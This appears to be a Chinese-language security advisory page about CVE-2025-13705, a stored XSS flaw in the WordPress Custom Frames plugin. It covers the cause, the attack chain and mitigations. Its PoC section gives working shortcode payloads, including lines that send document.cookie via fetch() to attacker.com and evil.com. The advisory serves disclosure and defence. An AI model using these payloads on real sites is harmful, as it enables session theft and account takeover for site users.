IPBUF安全漏洞报告
English
CVE-2025-13705 CVSS 6.4 中危

CVE-2025-13705 WordPress Custom Frames插件存储型XSS漏洞

披露日期: 2025-12-13

漏洞信息

漏洞编号
CVE-2025-13705
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Custom Frames WordPress Plugin

相关标签

存储型XSSWordPress插件漏洞Custom FramesCVE-2025-13705短代码注入WordPress安全Web安全

漏洞概述

CVE-2025-13705是WordPress Custom Frames插件中的一个存储型跨站脚本(XSS)漏洞。该插件专门用于在WordPress网站上创建和管理自定义框架功能。漏洞源于插件在处理shortcode时对用户输入的'class'参数缺乏充分的输入验证和输出转义。在1.0.1及以下所有版本中,攻击者可以利用此漏洞通过在shortcode中注入恶意JavaScript代码来实现存储型XSS攻击。由于漏洞存在于shortcode处理逻辑中,注入的恶意脚本会被永久存储在数据库中,任何访问包含该shortcode页面的用户都会触发恶意代码执行。这使得攻击者能够窃取用户会话cookie、劫持用户账户、进行钓鱼攻击或修改页面内容,对网站安全性构成严重威胁。攻击者需要拥有至少Contributor级别的账户权限即可实施攻击。

技术细节

该漏洞的根本原因在于Custom Frames插件的class.customframes.php文件第65行附近的shortcode处理逻辑中存在输入验证缺陷。具体来说,插件在注册[customframe]短代码时,直接将用户提供的'class'参数值插入到HTML元素的class属性中,而没有进行适当的HTML实体编码或输入过滤。攻击者可以通过构造特殊的class参数值来注入任意HTML/JavaScript代码。例如,使用包含引号和脚本标签的值可以突破属性上下文的限制,执行任意脚本。由于shortcode处理发生在服务器端,恶意代码会被永久存储在WordPress的文章/页面内容中。每次页面被访问时,存储的恶意代码都会被浏览器解析执行,形成存储型XSS攻击面。此类漏洞的危险性在于攻击只需一次注入即可影响所有访问该页面的用户,包括管理员。修复方案需要在输出class参数前使用esc_attr()函数进行HTML实体编码。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress网站的Contributor或更高权限账户
STEP 2
步骤2
攻击者创建或编辑文章/页面,插入包含恶意class参数的customframe短代码
STEP 3
步骤3
插件将shortcode中的class参数值未经过滤直接存入数据库
STEP 4
步骤4
页面被访问时,恶意代码随页面内容一同输出到用户浏览器
STEP 5
步骤5
用户浏览器解析HTML时执行注入的JavaScript代码,窃取会话cookie或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-13705 PoC: Stored XSS via customframe shortcode --> <!-- Attacker with Contributor+ role can inject malicious JavaScript --> [customframe class='" onmouseover="alert(document.cookie)" x="'] <!-- Alternative PoC with img tag injection --> [customframe class='x' onload='alert(String.fromCharCode(88,83,83))'] <!-- More sophisticated payload --> [customframe class='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] <!-- WordPress REST API exploitation --> <!-- POST /wp-json/wp/v2/pages/{id} --> <!-- Body: {"content": "[customframe class=\"\" onload=\"fetch('https://evil.com?c='+document.cookie)\"]\"}" -->

影响范围

Custom Frames Plugin < 1.0.2

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 临时禁用Custom Frames插件直到修复版本发布;2) 使用WordPress安全插件如Wordfence或Sucuri进行实时代码扫描和防护;3) 限制 Contributor 角色的内容发布权限,要求所有内容必须经过高权限用户审核后才能发布;4) 在WAF(Web应用防火墙)中配置规则检测和阻止包含<script>标签或javascript:协议的内容;5) 考虑使用Disallow script execution插件防止JavaScript在页面中执行。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表